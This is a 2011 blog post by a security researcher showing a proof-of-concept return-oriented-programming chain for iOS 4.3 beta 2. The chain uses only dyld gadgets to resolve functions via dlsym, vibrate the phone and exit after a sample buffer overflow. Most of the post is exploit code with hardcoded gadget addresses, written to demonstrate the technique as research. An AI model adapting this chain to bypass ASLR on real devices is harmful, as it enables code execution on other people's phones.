Blog | Talks | Docs | Tools | Advisories | About | RSS
Fermín J. Serna - Blog...
<<<<< May - 2011 >>>>>
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

25-May-2011 [18:42] -- IOS dyld only ROP

As you may know 4.3 IOS introduced ASLR so the old tricks of using directly gadgets and functions from any module are no longer valid.

Today, while talking to @i0n1c and @thegrugq on twitter we started to discuss rop-only shellcodes using dyld only gadgets.

I did the following some months ago (February-2011 IIRC), on 4.3beta2 and this is not useful without an exploit so no real risk for users.

The idea is to use dyld!dlsym() to resolve the functions needed and patch the ROP with write4 gadgets. Please note I do not use dyld!dlopen() but instead I use fixed return values for several modules.

The below code is the exploitation of a sample buffer overflow that you need to compile (without PIE) and upload to a test IOS device. Again, it will only work on 4.3beta2 but can be easily updated.

This ROP will basically make the phone vibrate and exit. Nothing fancy... but just to demonstrate the technique.

This will work if you:
1) Have a market app not compiled with PIE (dyld and main binary will not be randomized). This example code.
2) You have an info leak of dyld (need to update the addresses of this ROP)

#define ROP_POP_R4R5R6R7PC          0x2FE01295 // +1
#define ROP_POP_R1R2R3R4R6R7PC      0x2FE1A8E9 // +1
#define ROP_MOV_ROR4_POP_R4R5R6R7PC 0x2FE07437 // +1
#define ROP_BLX_R4_POP_R4R7PC       0x2FE19BAF // +1
#define ROP_STR_ROR4_POP_R4R7PC     0x2FE017BB // +1
 
#define FUNC_DLSYM                  0x2fe07e79 // +1
 
#define DLOPEN_LIBSYSTEM            0x2fe28cc8
#define DLOPEN_AUDIOTOOLBOX         0x2fe29cb4
 
       memset(buffer2,0,sizeof(buffer2));
 
       ch_ptr=buffer2;
       memset(ch_ptr,0x41,64+12);
       ch_ptr+=64+12;
 
       ul_ptr=(unsigned long *)ch_ptr;
 
       base_address=(unsigned long)&buffer+64+12;
 
       //*(ul_ptr++)=0xFDFDFDFD;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=DLOPEN_AUDIOTOOLBOX; // arg0: dlopen ret value for AudioToolbox (iphone4.3beta2 iphone4)
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=base_address+(87*sizeof(unsigned long));  // arg1: function name
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=FUNC_DLSYM;   // __dlsym address
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC; // Resolve API
 
       *(ul_ptr++)=base_address+(37*sizeof(unsigned long));;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_STR_ROR4_POP_R4R7PC; // Store API ptr where it is used...
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x3ea ;       // arg0: sound
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=0x11111111;
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=0xFFFFFFFF;  // AudioServicesPlaySystemSound ptr
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC;
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       /////-------------------------------------------------------------------
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=DLOPEN_LIBSYSTEM; // arg0: dlopen ret value for libSystem.B.dylib (iphone4.3beta2 iphone4)
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=base_address+(87*sizeof(unsigned long)+strlen("AudioServicesPlaySystemSound")+1);  // arg1: function name
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=FUNC_DLSYM;   // __dlsym address
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC; // Resolve API
 
       *(ul_ptr++)=base_address+((44+36)*sizeof(unsigned long));;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_STR_ROR4_POP_R4R7PC; // Store API ptr where it is used...
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x00000000;       // arg0: exit code
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=0x11111111;
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=0xFFFFFFFF;  // exit ptr
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC;
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=0xDEADDEAD;
 
 
       // copy API names at the end
       ch_ptr=(char *)ul_ptr;
       strcpy(ch_ptr,"AudioServicesPlaySystemSound");
       ch_ptr+=strlen("AudioServicesPlaySystemSound")+1;
 
       strcpy(ch_ptr,"exit");
       ch_ptr+=strlen("exit")+1;


Fermin J. Serna - @fjserna

Comments (0)